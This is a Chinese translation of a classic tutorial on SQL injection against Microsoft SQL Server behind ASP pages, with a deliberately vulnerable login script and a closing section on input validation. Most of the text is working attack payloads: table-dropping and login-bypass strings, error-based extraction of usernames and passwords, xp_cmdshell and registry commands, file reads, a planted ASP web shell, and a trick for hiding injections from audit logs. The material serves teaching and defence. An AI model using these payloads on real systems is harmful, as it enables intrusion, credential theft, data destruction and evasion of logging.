<P>一个典型的SQL语句如下： <BR>Select id,forename,surname from authors <BR>这条语句将返回authors表中所有行的id，forename和surname列。这个结果可以被限制，例如： <BR>Select id,forename,surname from authors where forename'john' and surname='smith' <BR>需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说，forename和surname字段是被用户提供的输入限制的，攻击者可以通过输入值来往这个查询中注入一些SQL语句，如下： <BR>Forename：jo'hn <BR>Surname：smith <BR>查询语句变为： <BR>Select id,forename,surname from authors where forename='jo'hn' and surname='smith' <BR>当数据库试图去执行这个查询时，它将返回如下错误： <BR>Server：Msg 170, Level 15, State 1, Line 1 <BR>Line 1：Incorrect syntax near 'hn' <BR>造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn'，但是失败。如果攻击者提供特别的输入如： <BR>Forename：jo';drop table authors— <BR>Surname： <BR>结果是authors表被删除，造成这种结果的原因我们稍后再讲。 </P>
<P>看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的，但是用这种方法做解决方法会存在几个困难。第一，并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author，那我们的查询应该像这样： <BR>Select id,forename,surname from authors where id=1234 <BR>在这种情况下，一个攻击者可以非常简单地在数字的结尾添加SQL语句，在其他版本的SQL语言中，使用各种各样的限定符号；在数据库管理系统JET引擎中，数据可以被使用'#'限定。第二，避免单引号尽管看上去可以，但是是没必要的，原因我们稍后再讲。 </P>
<P>我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。 <BR>这是一个提交表单页的代码，让用户输入用户名和密码： <BR>&lt;HTML&gt; <BR>&lt;HEAD&gt; <BR>&lt;TITLE&gt;Login Page&lt;/TITLE&gt; <BR>&lt;/HEAD&gt; </P>
<P>&lt;BODY bgcolor='000000' text='cccccc'&gt; <BR>&lt;FONT Face='tahoma' color='cccccc'&gt; <BR>&lt;CENTER&gt;&lt;H1&gt;Login&lt;/H1&gt; <BR>&lt;FORM action='process_loginasp' method=post&gt; <BR>&lt;TABLE&gt; <BR>&lt;TR&gt;&lt;TD&gt;Username：&lt;/TD&gt;&lt;TD&gt;&lt;INPUT type=text name=username size=100 width=100&gt;&lt;/TD&gt;&lt;/TR&gt; <BR>&lt;TR&gt;&lt;TD&gt;Password：&lt;/TD&gt;&lt;TD&gt;&lt;INPUT type=password name=password size=100 withd=100&gt;&lt;/TD&gt;&lt;/TR&gt; <BR>&lt;/TABLE&gt; <BR>&lt;INPUT type=submit value='Submit'&gt;&lt;INPUT type=reset value='Reset'&gt; <BR>&lt;/FORM&gt; <BR>&lt;/Font&gt; <BR>&lt;/BODY&gt; <BR>&lt;/HTML&gt; <BR>下面是process_login.asp的代码，它是用来控制登陆的： <BR>&lt;HTML&gt; <BR>&lt;BODY bgcolor='000000' text='ffffff'&gt; <BR>&lt;FONT Face='tahoma' color='ffffff'&gt; <BR>&lt;STYLE&gt; <BR>p { font-size=20pt ! important} <BR>font { font-size=20pt ! important} <BR>h1 { font-size=64pt ! important} <BR>&lt;/STYLE&gt; <BR>&lt;<A href="mailto:%@LANGUAGE">%@LANGUAGE</A> = JScript %&gt; <BR>&lt;% <BR>function trace( str ) { <BR>if( Request.form("debug") == "true" ) <BR>Response.write( str ); <BR>} <BR>function Login( cn ) { <BR>var username; <BR>var password; <BR>username = Request.form("username"); <BR>password = Request.form("password"); <BR>var rso = Server.CreateObject("ADODB.Recordset"); <BR>var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); <BR>rso.open( sql, cn ); <BR>if (rso.EOF) { <BR>rso.close(); <BR>%&gt; <BR>&lt;FONT Face='tahoma' color='cc0000'&gt; <BR>&lt;H1&gt; &lt;BR&gt;&lt;BR&gt; <BR>&lt;CENTER&gt;ACCESS DENIED&lt;/CENTER&gt; <BR>&lt;/H1&gt; <BR>&lt;/BODY&gt; <BR>&lt;/HTML&gt; <BR>&lt;% Response.end return; } <BR>else { <BR>Session("username") = "" + rso("username"); <BR>%&gt; <BR>&lt;FONT Face='tahoma' color='00cc00'&gt; <BR>&lt;H1&gt; &lt;CENTER&gt;ACCESS GRANTED&lt;BR&gt; &lt;BR&gt; <BR>Welcome, &lt;% Response.write(rso("Username")); Response.write( "&lt;/BODY&gt;&lt;/HTML&gt;" ); Response.end } <BR>} <BR>function Main() { //Set up connection <BR>var username <BR>var cn = Server.createobject( "ADODB.Connection" ); <BR>cn.connectiontimeout = 20; <BR>cn.open( "localserver", "sa", "password" ); <BR>username = new String( Request.form("username") ); <BR>if( username.length &gt; 0) { <BR>Login( cn ); <BR>} <BR>cn.close(); <BR>} <BR>Main(); <BR>%&gt; <BR>出现问题的地方是process_lgin.asp中产生查询语句的部分： <BR>Var sql="select * from users where username='"+username+"' and password='"+password+"'"; <BR>如果用户输入的信息如下： <BR>Username：';drop table users— <BR>Password： <BR>数据库中表users将被删除，拒绝任何用户进入应用程序。'—'符号在Transact-SQL中表示忽略'—'以后的语句，';'符号表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必须的，它为了使这个特殊的查询终止，并且不返回错误。 </P>
<P>攻击者可以只需提供他们知道的用户名，就可以以任何用户登陆，使用如下输入： <BR>Username：admin'— <BR>攻击者可以使用users表中第一个用户，输入如下： <BR>Username：' or 1=1— <BR>更特别地，攻击者可以使用完全虚构的用户登陆，输入如下： <BR>Username：' union select 1,'fictional_user','some_password',1— <BR>这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。 </P>
<P>通过错误消息获得信息 <BR>这个几乎是David Litchfield首先发现的，并且通过作者渗透测试的；后来David写了一份文档，后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制，使读者能够完全地了解它，潜在地引发他们的能力。 </P>
<P>为了操作数据库中的数据，攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表： <BR>Create talbe users( <BR>Id int, <BR>Username varchar(255), <BR>Password varchar(255), <BR>Privs int <BR>) <BR>然后将下面的用户插入到users表中： <BR>Insert into users values(0,'admin','r00tr0x!',0xffff) <BR>Insert into users values(0,'guest','guest',0x0000) <BR>Insert into users values(0,'chris','password',0x00ff) <BR>Insert into users values(0,'fred','sesame',0x00ff) <BR>如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下，他不可能成功。即使他比较幸运，至于privs字段不清楚。攻击者可能插入一个'1'，这样只给他自己一个低权限的用户。 <BR>幸运地，如果从应用程序（默认为ASP行为）返回错误消息，那么攻击者可以确定整个数据库的结构，并且可以以程序中连接SQLSERVER的权限度曲任何值。 <BR>（下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的） <BR>首先，攻击者想获得建立用户的表的名字和字段的名字，要做这些，攻击者需要使用select语法的having子句： <BR>Username：' having 1=1— <BR>这样将会出现如下错误： <BR>Microsoft OLE DB Provider for ODBC Drivers error '80040e14' <BR>[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. <BR>/process_login.asp, line 35 <BR>因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名，如下： <BR>Username：' group by users.id having 1=1— <BR>出现的错误如下： <BR>Microsoft OLE DB Provider for ODBC Drivers error '80040e14' <BR>[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. <BR>/process_login.asp, line 35 <BR>最终攻击者得到了username字段后： <BR>‘ group by users.id,users.username,users.password,users.privs having 1=1— <BR>这句话并不产生错误，相当于： <BR>select * from users where username='' <BR>因此攻击者现在知道查询涉及users表，按顺序使用列'id,username,password,privs'。 <BR>能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现，例如： <BR>Username：' union select sum(username) from users— <BR>这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息： <BR>Microsoft OLE DB Provider for ODBC Drivers error '80040e07' </P>
<P>[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. <BR>/process_login.asp, line 35 <BR>这告诉了我们'username'字段的类型是varchar。如果是另一种情况，我们尝试去计算sum()的是数字类型，我们得到的错误消息告诉我们两个集合的字段数量不相等。 <BR>Username：' union select sum(id) from users— <BR>Microsoft OLE DB Provider for ODBC Drivers error '80040e14' </P>
<P>[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. <BR>/process_login.asp, line 35 <BR>我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。 <BR>这样攻击者就可以写一个好的insert查询，例如： <BR>Username：';insert into users values(666,'attacker','foobar','0xffff)— <BR>这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息： <BR>select * from master ..sysmessages <BR>解释这些将实现有趣的消息。 </P>
<P>一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字，那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中，在username后面会显示出SQLSERVER的版本和所运行的操作系统信息： <BR>Username：' union select @@version,1,1,1— <BR>Microsoft OLE DB Provider for ODBC Drivers error '80040e07' </P>
<P>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int. <BR>/process_login.asp, line 35 <BR>这句尝试去将内置的<A href="mailto:'@@version'">'@@version'</A>常量转化成一个整型数字，因为users表中的第一列是整型数字。 </P>
<P>这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后，他们比较喜欢去从users表中读取用户名，例如： <BR>Username：' union select min(username),1,1,1 from users where username&gt;'a'— <BR>这句选择users表中username大于'a'中的最小值，并试图把它转化成一个整型数字： <BR>Microsoft OLE DB Provider for ODBC Drivers error '80040e07' </P>
<P>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. <BR>/process_login.asp, line 35 <BR>因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。 <BR>Username：' union select min(username),1,1,1 from users where username&gt;'admin'— <BR>Microsoft OLE DB Provider for ODBC Drivers error '80040e07' </P>
<P>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int. <BR>/process_login.asp, line 35 <BR>一旦攻击者确定了用户名，他就可以开始收集密码： <BR>Username：' union select password,1,1,1 from users where username='admin'— <BR>Microsoft OLE DB Provider for ODBC Drivers error '80040e07' </P>
<P>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. <BR>/process_login.asp, line 35 </P>
<P>一个更高级的技术是将所有用户名和密码连接长一个单独的字符串，然后尝试把它转化成整型数字。这个例子指出：Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来： <BR>begin declare @ret varchar(8000) <BR>set @ret=':' <BR>select @ret=@ret+' '+username+'/'+password from users where <BR>username&gt;@ret <BR>select @ret as ret into foo <BR>end <BR>攻击者使用这个当作用户名登陆（都在一行） <BR>Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username&gt;@ret select @ret as ret into foo end— <BR>这就创建了一个foo表，里面只有一个单独的列'ret'，里面存放着我们得到的用户名和密码的字符串。正常情况下，一个低权限的用户能够在同一个数据库中创建表，或者创建临时数据库。 <BR>然后攻击者就可以取得我们要得到的字符串： <BR>Username：' union select ret,1,1,1 from foo— <BR>Microsoft OLE DB Provider for ODBC Drivers error '80040e07' </P>
<P>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int. <BR>/process_login.asp, line 35 <BR>然后丢弃（删除）表来清楚脚印： <BR>Username：'; drop table foo— <BR>这个例子仅仅是这种技术的一个表面的作用。没必要说，如果攻击者能够从数据库中获得足够的错误西，他们的工作就变的无限简单。 </P>
<P>获得更高的权限 <BR>一旦攻击者控制了数据库，他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到： <BR>1. 在数据库服务器上，以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。 <BR>2. 利用xp_regread扩展存储过程去读注册表的键值，当然包括SAM键（前提是SQLSERVER是以系统权限运行的） <BR>3. 利用其他存储过程去改变服务器 <BR>4. 在连接的服务器上执行查询 <BR>5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码 <BR>6. 使用'bulk insert'语法去读服务器上的任意文件 <BR>7. 使用bcp在服务器上建立任意的文本格式的文件 <BR>8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序，使它能做任何ASP脚本可以做的事情 </P>
<P>这些只列举了非常普通的可能攻击方法的少量，攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法，为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法：</P>
<P>[xp_cmdshell] <BR>许多存储过程被创建在SQLSERVER中，执行各种各样的功能，例如发送电子邮件和与注册表交互。 <BR>Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如： <BR>Exec master..xp_cmdshell 'dir' <BR>将获得SQLSERVER进程的当前工作目录中的目录列表。 <BR>Exec master..xp_cmdshell 'net user' <BR>将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时，攻击者可以做出更严重的危害。 </P>
<P>[xp_regread] <BR>另一个有用的内置存储过程是xp_regXXXX类的函数集合。 <BR>Xp_regaddmultistring <BR>Xp_regdeletekey <BR>Xp_regdeletevalue <BR>Xp_regenumkeys <BR>Xp_regenumvalues <BR>Xp_regread <BR>Xp_regremovemultistring <BR>Xp_regwrite </P>
<P>这些函数的使用方法举例如下： <BR>exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' <BR>这将确定什么样的会话连接在服务器上是可以使用的 </P>
<P>exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' <BR>这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下，有了这些信息，攻击者或许会重新配置同一网络中的网络设备。 </P>
<P>这很容易想象到一个攻击者可以利用这些函数读取SAM，修改系统服务的配置，使它下次机器重启时启动，或在下次任何用户登陆时执行一条任意的命令。</P>
<P>[其他存储过程] <BR>xp_servicecontrol过程允许用户启动，停止，暂停和继续服务： <BR>exec master..xp_servicecontrol 'start','schedule' <BR>exec master..xp_servicecontrol 'start','server' <BR>下表中列出了少量的其他有用的存储过程： <BR>Xp_availablemedia 显示机器上有用的驱动器 <BR>Xp_dirtree 允许获得一个目录树 <BR>Xp_enumdsn 列举服务器上的ODBC数据源 <BR>Xp_loginconfig Reveals information about the security mode of the server <BR>Xp_makecab 允许用户在服务器上创建一个压缩文件 <BR>Xp_ntsec_enumdomains 列举服务器可以进入的域 <BR>Xp_terminate_process 提供进程的进程ID，终止此进程 </P>
<P>[Linked Servers] <BR>SQL SERVER提供了一种允许服务器连接的机制，也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用'sp_addlinkedsrvlogin'过程，当前可信的连接不用登陆就可以访问到服务器。'openquery'函数允许查询脱离服务器也可以执行。 </P>
<P>[Custom extended stored procedures] <BR>扩展存储过程应用程序接口是相当简单的，创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上，还有其它包括了多种自动通讯的通讯机制，比如HTTP下载和FTP脚本。 <BR>一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程（这种情况下，我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马）： </P>
<P>Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll' <BR>在正常的方式下，这个扩展存储过程可以被运行： <BR>exec xp_webserver <BR>一旦这个程序被运行，可以使用下面的方法将它除去： <BR>xp_dropextendedproc 'xp_webserver' </P>
<P>[将文本文件导入表] <BR>使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表： <BR>create table foo( line varchar(8000) ) <BR>然后执行bulk insert操作把文件中的数据插入到表中，如： <BR>bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' </P>
<P>可以使用上述的错误消息技术，或者使用'union'选择，使文本文件中的数据与应用程序正常返回的数据结合，将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。</P>
<P>[使用bcp建立文本文件] <BR>使用'bulk insert'的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。'bcp',即'bulk copy program' <BR>既然 bcp可以从SQL服务进程外访问数据库，它需要登陆。这代表获得权限不是很困难，既然攻击者能建立，或者利用整体安全机制(如果服务器配置成可以使用它)。 </P>
<P>命令行格式如下： <BR>bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar <BR>'S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，这里为'foobar' </P>
<P>[ActiveX automation scripts in SQL SERVER] <BR>SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本，或者ASP脚本程序一样——他们使用VBScript或JavaScript书写，他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中，或者WSH脚本中可以做的任何事情。为了阐明这鞋，这里提供了几个例子： </P>
<P>（1）这个例子使用'wscript.shell'对象建立了一个记事本的实例： <BR>wscript.shell example <BR>declare @o int <BR>exec sp_oacreate 'wscript.shell',@o out <BR>exec sp_oamethod @o,'run',NULL,'notepad.exe' <BR>我们可以通过指定在用户名后面来执行它： <BR>Username：'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'— </P>
<P>(2)这个例子使用'scripting.filesystemobject'对象读一个已知的文本文件： <BR>--scripting.filesystemobject example – read a known file <BR>declare @o int, @f int, @t int, @ret int <BR>declare @line varchar(8000) <BR>exec sp_oacreate 'scripting.filesystemobject', @o out <BR>exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 <BR>exec @ret=sp_oamethod @f,'readline',@line out <BR>while(@ret=0) <BR>begin <BR>print @line <BR>exec @ret=sp_oamethod @f,'readline',@line out <BR>end </P>
<P>(3)这个例子创建了一个能执行通过提交到的任何命令： <BR>-- scripting.filesystemobject example – create a 'run this'.asp file <BR>declare @o int,@f int,@t int,@ret int <BR>exec sp_oacreate 'scripting.filesystemobject',@o out <BR>exec sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\foo.asp',1 <BR>exec @ret=sp_oamethod @f,'writeline',NULL,'&lt;% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %&gt;' <BR>需要指出的是如果运行的环境是WIN NT4+IIS4平台上，那么通过这个程序运行的命令是以系统权限运行的。在IIS5中，它以一个比较低的权限IWAM_XXXaccount运行。 </P>
<P>(4)这些例子阐述了这个技术的适用性；它可以使用'speech.voicetext'对象引起SQL SERVER发声： <BR>declare @o int,@ret int <BR>exec sp_oacreate 'speech.voicetext',@o out <BR>exec sp_oamethod @o,'register',NULL,'foo','bar' <BR>exec sp_oasetproperty @o,'speed',150 <BR>exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528 <BR>waitfor delay '00:00:05' <BR>我们可以在我们假定的例子中，通过指定在用户名后面来执行它（注意这个例子不仅仅是注入一个脚本，同时以admin权限登陆到应用程序）： <BR>Username：admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'-- </P>
<P>[存储过程] <BR>传说如果一个ASP应用程序在数据库中使用了存储过程，那么SQL注入是不可能的。这句话只对了一半，这要看ASP脚本中调用这个存储过程的方式。 <BR>本质上，如果一个有参数的查询被执行 ，并且用户提供的参数通过安全检查才放入到查询中，那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分，这样他们就可能能够控制数据库。 <BR>比较好的常规的标准是： <BR>?如果一个ASP脚本能够产生一个被提交的SQL查询字符串，即使它使用了存储过程也是能够引起SQL注入的弱点。 <BR>?如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配（例如ADO的用于参数收集的command对象），那么通过这个对象的执行，它一般是安全的。 <BR>明显地，既然新的攻击技术始终地被发现，好的惯例仍然是验证用户所有的输入。 </P>
<P>为了阐明存储过程的查询注入，执行以下语句： <BR>sp_who '1' select * from sysobjects <BR>or <BR>sp_who '1';select * from sysobjects <BR>任何一种方法，在存储过程后，追加的查询依然会执行。 </P>
<P>[高级SQL注入] <BR>通常情况下，一个web应用程序将会过滤单引号（或其他符号），或者限定用户提交的数据的长度。 <BR>在这部分，我们讨论一些能帮助攻击者饶过那些明显防范SQL注入，躲避被记录的技术。 </P>
<P>[没有单引号的字符串] <BR>有时候开发人员会通过过滤所有的单引号来保护应用程序，他们可能使用VBScript中的replace函数或类似： <BR>function escape(input) <BR>input=replace(input,"'","''") <BR>escape=input <BR>end function <BR>无可否认地这防止了我们所有例子的攻击，再除去';'符号也可以帮很多忙。但是在一个大型的应用程序中，好象个别值期望用户输入的是数字。这些值没有被限定，因此为攻击者提供了一个SQL注入的弱点。 <BR>如果攻击者想不使用单引号产生一个字符串值，他可以使用char函数，例如： <BR>insert into users values(666, <BR>char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), <BR>0xffff) <BR>这就是一个能够往表中插入字符串的不包含单引号的查询。 <BR>淡然，如果攻击者不介意使用一个数字用户名和密码，下面的语句也同样会起作用： <BR>insert into users values(667, <BR>123, <BR>123, <BR>oxffff) <BR>SQL SERVER自动地将整型转化为varchar型的值。 </P>
<P>[Second-Order SQL Injection] <BR>即使应用程序总是过滤单引号，攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用。 <BR>例如，攻击者可能利用下面的信息在应用程序中注册： <BR>Username：admin'— <BR>Password：password <BR>应用程序正确过滤了单引号，返回了一个类似这样的insert语句： <BR>insert into users values(123,'admin''—','password',0xffff) <BR>我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下： <BR>username = escape( Request.form("username") ); <BR>oldpassword = escape( Request.form("oldpassword") ); <BR>newpassword = escape( Request.form("newpassword") ); <BR>var rso = Server.CreateObject("ADODB.Recordset"); <BR>var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'"; <BR>rso.open( sql, cn ); <BR>if (rso.EOF) <BR>{ <BR>… <BR>设置新密码的代码如下： <BR>sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'" <BR>rso("username")为登陆查询中返回的用户名 <BR>当username为admin'—时，查询语句为： <BR>update users set password = 'password' where username='admin'—' <BR>这样攻击者可以通过注册一个admin'—的用户来根据自己的想法来设置admin的密码。 <BR>这是一个非常严重的问题，目前在大型的应用程序中试图去过滤数据。最好的解决方法是拒绝非法输入，这胜于简单地努力去修改它。这有时会导致一个问题，非法的字符在那里是必要的，例如在用户名中包含'符号，例如 <BR>O'Brien <BR>从一个安全的观点来看，最好的解答是但引号不允许存在是一个简单的事实。如果这是无法接受的话，他们仍然要被过滤；在这种情况下，保证所有进入SQL查询的数据都是正确的是最好的方法。 <BR>如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据，这种方式的攻击也是可能的。应用程序可能有email接口，或者可能在数据库中可以存储错误日志，这样攻击者可以努力控制它。验证所有数据，包括数据库中已经存在的数据始终是个好的方法。确认函数将被简单地调用，例如： <BR>if(not isValid("email",request.querystring("email"))) then <BR>response.end <BR>或者类似的方法。 </P>
<P>[长度限制] <BR>为了给攻击者更多的困难，有时输入数据的长度是被限制的。当这个阻碍了攻击时，一个小的SQL可以造成很严重的危害。例如： <BR>Username：';shutdown— <BR>这样只用12个输入字符就将停止SQL SERVER实例。另一个例子是： <BR>drop table &lt;tablename&gt; <BR>如果限定长度是在过滤字符串后应用将会引发另一个问题。假设用户名被限定16个字符，密码也被限定16个字符，那么下面的用户名和密码结合将会执行上面提到的shutdown命令： <BR>Username：aaaaaaaaaaaaaaa' <BR>Password：'; shutdown— <BR>原因是应用程序尝试去过滤用户名最后的单引号，但是字符串被切断成16个字符，删除了过滤后的一个单引号。这样的结果就是如果密码字段以单引号开始，它可以包含一些SQL语句。既然这样查询看上去是： <BR>select * from users where username='aaaaaaaaaaaaaaa'' and password=''';shutdown— <BR>实际上，查询中的用户名已经变为： <BR>aaaaaaaaaaaaaaa' and password=' <BR>因此最后的SQL语句会被执行。 </P>
<P>[审计] <BR>SQL SERVER包含了丰富的允许记录数据库中的各种事件的审计接口，它包含在sp_traceXXX类的函数中。特别有意思的是能够记录所有SQL语句，然后在服务器上执行的T-SQL的事件。如果这种审计是被激活的，我们讨论的所有注入的SQL查询都将被记录在数据库中，一个熟练的数据库管理员将能够知道发生了什么事。不幸地，如果攻击者追加以下字符串： <BR>Sp_password <BR>到一个Transact-SQL语句中，这个审计机制记录日志如下： <BR>--'sp_password' was found in the text of this event. <BR>-- The text has been replaced with this comment for security reasons. <BR>这种行为发生在所有的T-SQL日记记录中，即使'sp_password'发生在一个注释中。这个过程打算通过sp_password隐藏用户的密码，但这对于一个攻击者来说是非常有用的方法。 <BR>因此，为了隐藏所有注入，攻击者需要简单地在'—'注释字符后追加sp_password，例如： <BR>Username：admin'—sp_password <BR>事实上一些被执行的SQL将被记录，但是查询本身将顺利地从日志中消失。 </P>
<P>[防范] <BR>这部分讨论针对记述的攻击的一些防范。我们将讨论输入确认和提供一些简单的代码，然后我们将从事SQL SERVER锁定。 </P>
<P>[输入验证] <BR>输入验证是一个复杂的题目。比较有代表性的是，自从过于严密地确认倾向于引起部分应用程序的暂停，输入确认问题很难被解决，在项目开发中投入很少的注意力在输入确认上。输入确认不是倾向于将它加入到应用程序的功能当中，因此它一般会被忽视。 <BR>下面是一个含有简单代码的讨论输入确认的大纲。这个简单的代码不能直接用于应用程序中，但是它十分清晰地阐明了不同的策略。 <BR>不同的数据确认方法可以按以下分类： <BR>1） 努力修改数据使它成为正确的 <BR>2） 拒绝被认为是错误的输入 <BR>3） 只接收被认为是正确的输入 <BR>第一种情况有一些概念上的问题；首先，开发人员没必要知道那些是错误数据，因为新的错误数据的形式始终被发现。其次，修改数据会引起上面描述过的数据的长度问题。最后，二次使用的问题包括系统中已经存在数据的重新使用。 <BR>第二种情况也存在第一种情况中的问题；已知的错误输入随着攻击技术的发展变化。 <BR>第三种情况可能是三种中最好的，但是很难实现。 <BR>从安全角度看合并第二种方法和第三种方法可能是最好的方法——只允许正确的输入，然后搜索输入中已知的错误数据。 <BR>带有连接符号的姓名的问题对于体现合并两种方法的必要性是一个好的例子： <BR>Quentin Bassington-Bassington <BR>我们必须在正确输入中允许连接符号，但是我们也意识到字符序列'—'对SQL SERVER很重要。 <BR>当合并修改数据和字符序列确认时，会出现另一个问题。例如，如果我们应用一个错误过滤在除去单引号之后去探测'—'，'select'和'union'，攻击者可以输入： <BR>uni'on sel'ect @@version-'- <BR>既然单引号被除去，攻击者可以简单地散布单引号在自己的错误的字符串中躲避被发现。 <BR>这有一些确认代码的例子： <BR>方法一——过滤单引号 <BR>function escape(input) <BR>input=replace(input,"'","''") <BR>escape=input <BR>end function </P>
<P>方法二——拒绝已知的错误输入 <BR>function validate_string(input) <BR>known_bad=array("select","insert","update","delete","drop","—","'") <BR>validate_string=true <BR>for i=lbound(known_bad) to ubound(known_bad) <BR>if(instr(1,input,known_bad(i),vbtextcompare)&lt;&gt;0) then <BR>validate_string=false <BR>exit function <BR>end if <BR>next <BR>end function </P>
<P>方法三——只允许正确的输入 <BR>function validatepassword(input) <BR>good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789” <BR>validatepassword=true <BR>for i=1 to len(input) <BR>c=mid(input,I,1) <BR>if(InStr(good_password_chars,c)=0) then <BR>validatepassword=false <BR>exit function <BR>end if <BR>next <BR>end function </P>
